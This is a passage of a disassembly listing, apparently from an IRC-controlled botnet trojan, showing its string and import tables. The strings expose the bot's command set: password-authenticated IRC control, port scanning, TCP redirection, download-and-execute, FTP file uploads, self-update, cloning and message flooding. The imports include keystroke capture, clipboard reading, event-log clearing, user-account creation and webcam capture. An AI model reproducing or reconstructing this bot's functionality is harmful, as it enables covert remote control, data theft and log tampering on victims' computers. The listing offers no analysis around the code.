db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
unk_439AE4 db 2Dh ; - ; DATA XREF: sub_401C87+4205o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401C87+4252o
aHcon db 'hcon',0 ; DATA XREF: sub_401C87+4263o
align 4
unk_439B18 db 2Dh ; - ; DATA XREF: sub_401C87+42B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
unk_439B54 db 2Dh ; - ; DATA XREF: sub_401C87+4353o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_439B8C db 2Dh ; - ; DATA XREF: sub_401C87+4363o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 10h
unk_439BC0 db 2Dh ; - ; DATA XREF: sub_401C87+4393o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401C87+43B9o
align 4
unk_439BFC db 2Dh ; - ; DATA XREF: sub_401C87+43E0o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
unk_439C1C db 2Dh ; - ; DATA XREF: sub_401C87+4451o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401C87+44BDo
align 4
aAb db 'ab',0 ; DATA XREF: sub_401C87+44CEo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401C87+44F3o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSS_0 db '-s:%s',0 ; DATA XREF: sub_401C87+4511o
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401C87+4528o
aOpen_1 db 'open',0 ; DATA XREF: sub_401C87+452Do
align 4
unk_439CAC db 2Dh ; - ; DATA XREF: sub_401C87+4541o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s',0
align 4
unk_439CD4 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4061CFo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0
align 4
unk_439D04 db 2Dh ; - ; DATA XREF: sub_401C87+466Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_11 db 'Failed to start scan, port is invalid.',0
align 4
unk_439D38 db 2Dh ; - ; DATA XREF: sub_401C87+46CBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start scan, no IP specified.',0
align 4
aRandom_0 db 'Random',0 ; DATA XREF: sub_401C87+4809o
align 4
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401C87+4810o
align 10h
unk_439D80 db 2Dh ; - ; DATA XREF: sub_401C87+483Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_439DE8 db 2Dh ; - ; DATA XREF: sub_401C87+4894o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_13 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_439E20 db 2Dh ; - ; DATA XREF: sub_401C87+4973o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_439E70 db 2Dh ; - ; DATA XREF: sub_401C87+49CCo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_14 db 'Failed to start scan thread, error: <%d>.',0
align 4
dword_439EAC dd 54434101h, 204E4F49h, 17325hdword_439EB8 dd 5D73255Bh, 25202A20h, 73252073h, 0dword_439EC8 dd 5D73255Bh, 73253C20h, 7325203Eh, 0unk_439ED8 db 2Dh ; - ; DATA XREF: sub_401C87+4C58o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
unk_439F14 db 2Dh ; - ; DATA XREF: sub_401C87+4CB1o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_15 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_439F4C db 2Dh ; - ; DATA XREF: sub_401C87+4D53o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_439F88 db 2Dh ; - ; DATA XREF: sub_401C87+4DACo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_439FCC db 2Dh ; - ; DATA XREF: sub_401C87+4E91o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_439FF8 db 2Dh ; - ; DATA XREF: sub_401C87+4EEAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_16 db 'Failed to start transfer thread, error: <%d>.',0
align 4
dword_43A038 dd 234032Dh, 6E6F6C63h, 3027365haCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
dword_43A068 dd 234032Dh, 6E6F6C63h, 3027365haFailedToSta_17 db '- Failed to start clone thread, error: <%d>.',0
align 4
unk_43A0A4 db 2Dh ; - ; DATA XREF: sub_401C87+5011o
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
dword_43A0C8 dd 234032Dh, 656C6966h, 2D0302hunk_43A0D4 db 2Dh ; - ; DATA XREF: sub_401C87+50C6o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
unk_43A104 db 2Dh ; - ; DATA XREF: sub_401C87+512Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToSta_18 db 'Failed to start search thread, error: <%d>.',0
unk_43A140 db 2Dh ; - ; DATA XREF: sub_401C87+51DEo
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
dword_43A164 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401C87+51E9o
dd 7325203Ah, 0
dword_43A180 dd 73257325h, 6578652Eh, 0dword_43A18C dd 234032Dh, 61647075h, 3026574haDownloadingUpd db '- Downloading update from: %s.',0
align 4
dword_43A1B8 dd 234032Dh, 61647075h, 3026574haFailedToStartD db '- Failed to start download thread, error: <%d>.',0
align 8
dword_43A1F8 dd 234032Dh, 61647075h, 3026574haBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 10h
aPartS db 'PART %s',0 ; DATA XREF: sub_401C87+538Bo
aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+53C4o
align 10h
aJoinSS_2 db 'JOIN %s %s',0 ; DATA XREF: sub_401C87+53F8o
align 4
aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5431o
align 4
aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401C87+5441o
aS_28 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5479o
align 4
dword_43A274 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401C87+549Ao
dd 203A2973h, 7325h
dword_43A290 dd 45444F4Dh, 732520hdword_43A298 dd 0A0D7325h, 0 dword_43A2A0 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401C87+5524o
dd 203A2973h, 7325h
dword_43A2BC dd 0A0D7325h, 0 dword_43A2C4 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401C87+5592o
dd 25203A29h, 73h
dword_43A2E0 dd 45444F4Dh, 0D732520h, 0Ahunk_43A2EC db 2Dh ; - ; DATA XREF: sub_401C87+55CBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
a332_2 db '332',0 ; DATA XREF: sub_401C87+55DBo
aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+55F2o
align 4
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5621o
align 4
dword_43A328 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401C87+562Eo
dword_43A33C dd 54434101h, 204E4F49h, 17325hunk_43A348 db 2Dh ; - ; DATA XREF: sub_401C87+569Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
unk_43A364 db 2Dh ; - ; DATA XREF: sub_401C87+56F7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
unk_43A384 db 2Dh ; - ; DATA XREF: sub_401C87+5739o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 4
aNickS_3 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5794o
align 10h
unk_43A3B0 db 2Dh ; - ; DATA XREF: sub_401C87+57A8o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
asc_43A3D4: ; DATA XREF: sub_401C87+57DBo
; sub_401C87+57F9o
unicode 0, <!~>
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401C87+5829o
align 10h
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401C87+583Do
align 4
unk_43A42C db 2Dh ; - ; DATA XREF: sub_401C87+584Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401C87+5896o
align 10h
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401C87+58AAo
align 4
unk_43A4AC db 2Dh ; - ; DATA XREF: sub_401C87+58B9o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 4
unk_43A4D8 db 2Dh ; - ; DATA XREF: sub_401C87+590Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_43A4F8 db 2Dh ; - ; DATA XREF: sub_401C87+592Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5938o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+594Do
align 4
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5960o
align 4
aNotice_2 db 'NOTICE',0 ; DATA XREF: sub_40764A+Fo
align 10h
aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_40764A+16o
aS_12 db '%s',0 ; DATA XREF: sub_40764A+3Bo
align 4
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40764A+58o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4076E5+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4076E5+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4076E5+2Bo
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4076E5+38o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4076E5+45o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_4076E5+52o
align 4
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4076E5+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4076E5+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4076E5+79o
align 10h
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4076E5+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4076E5+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4076E5+A0o
align 10h
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4076E5:loc_4077EDo
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4076E5:loc_40781Ao
align 4
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4076E5+14Ao
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4076E5+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4076E5+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4076E5+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4076E5+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4076E5+186o
align 10h
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4076E5+193o
align 10h
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4076E5+1A0o
align 10h
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4076E5:loc_4078DDo
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4076E5+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4076E5+20Do
align 10h
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4076E5+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4076E5:loc_407944o
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4076E5+270o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4076E5+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4076E5+285o
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4076E5+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4076E5+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4076E5+2ACo
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4076E5+2B9o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4076E5+2C6o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4076E5:loc_4079F7o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4076E5+31Ao
align 10h
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4076E5+327o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4076E5:loc_407A3Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4076E5+35Fo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4076E5+36Co
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4076E5+379o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4076E5+386o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4076E5+393o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4076E5+3A0o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4076E5+3ADo
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4076E5:loc_407AEAo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4076E5:loc_407B12o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4076E5+43Eo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4076E5+446o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4076E5+453o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4076E5+460o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4076E5+46Do
align 10h
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4076E5+47Ao
align 10h
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4076E5+487o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4076E5+494o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4076E5+4A1o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4076E5+514o
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4076E5+525o
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4076E5+52Do
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4076E5+53Ao
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4076E5+547o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4076E5+554o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4076E5+561o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4076E5+56Eo
align 10h
aSocket db 'socket',0 ; DATA XREF: sub_4076E5+57Bo
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4076E5+588o
aConnect db 'connect',0 ; DATA XREF: sub_4076E5+595o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4076E5+5A2o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4076E5+5AFo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4076E5+5BCo
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_4076E5+5C9o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4076E5+5D6o
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_4076E5+5E3o
align 4
aSend_0 db 'send',0 ; DATA XREF: sub_4076E5+5F0o
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_4076E5+5FDo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4076E5+60Ao
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4076E5+617o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4076E5+629o
align 10h
aSelect db 'select',0 ; DATA XREF: sub_4076E5+631o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4076E5+63Eo
align 10h
aAccept db 'accept',0 ; DATA XREF: sub_4076E5+64Bo
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4076E5+658o
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4076E5+665o
aGethostname db 'gethostname',0 ; DATA XREF: sub_4076E5+672o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4076E5+67Fo
align 4
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4076E5+68Co
align 4
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4076E5+699o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4076E5+6A6o
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4076E5:loc_407EC4o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4076E5+7F0o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4076E5+7F8o
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4076E5+805o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4076E5+812o
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4076E5+81Fo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4076E5+82Co
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4076E5+839o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4076E5+846o
align 4
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4076E5+853o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4076E5+860o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4076E5+8D2o
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4076E5:loc_407FE4o
align 4
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4076E5+90Co
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4076E5+914o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4076E5+921o
align 4
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4076E5:loc_408043o
align 4
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4076E5+96Fo
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4076E5+977o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4076E5+984o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4076E5+991o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4076E5+99Eo
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4076E5+9ABo
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4076E5+9B8o
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4076E5+9C5o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4076E5+9D2o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4076E5+9DFo
align 10h
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4076E5+9ECo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4076E5+9F9o
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4076E5:loc_40815Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4076E5+A87o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4076E5+A8Fo
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4076E5:loc_4081A9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4076E5+AD1o
align 4
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4076E5+AD9o
align 10h
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4076E5:loc_4081F3o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4076E5+B1Bo
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4076E5+B23o
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4076E5+B30o
align 4
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4076E5+B3Do
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4076E5:loc_408267o
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4076E5+B8Fo
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4076E5+B97o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4076E5:loc_4082B1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4076E5+BD9o
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4076E5+BE1o
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4076E5+BEEo
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4076E5+BFBo
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4076E5+C08o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4076E5+C15o
align 4
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4076E5:loc_40834Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4076E5+C77o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4076E5+C7Fo
align 10h
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+28o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+5Co
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+90o
align 10h
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+C4o
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+F8o
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+12Co
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+160o
align 4
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+194o
align 10h
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1C8o
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1FCo
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+230o
align 4
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+264o
align 4
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+298o
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+2CCo
align 4
unk_43AFCC db 2Dh ; - ; DATA XREF: sub_4083A1+2F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aDllTestComplet db 'DLL test complete.',0
align 4
a___1: ; DATA XREF: .data:00408701o
; .data:00408719o
unicode 0, <..>
unk_43AFF0 db 2Dh ; - ; DATA XREF: sub_40879E+43o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aErrorGettingAr db 'error getting ARP cache: %d',0
unk_43B01C db 2Dh ; - ; DATA XREF: sub_40879E:loc_4087F7o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheIsEmpt db 'ARP cache is empty',0
align 10h
unk_43B040 db 2Dh ; - ; DATA XREF: sub_40879E+8Co
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
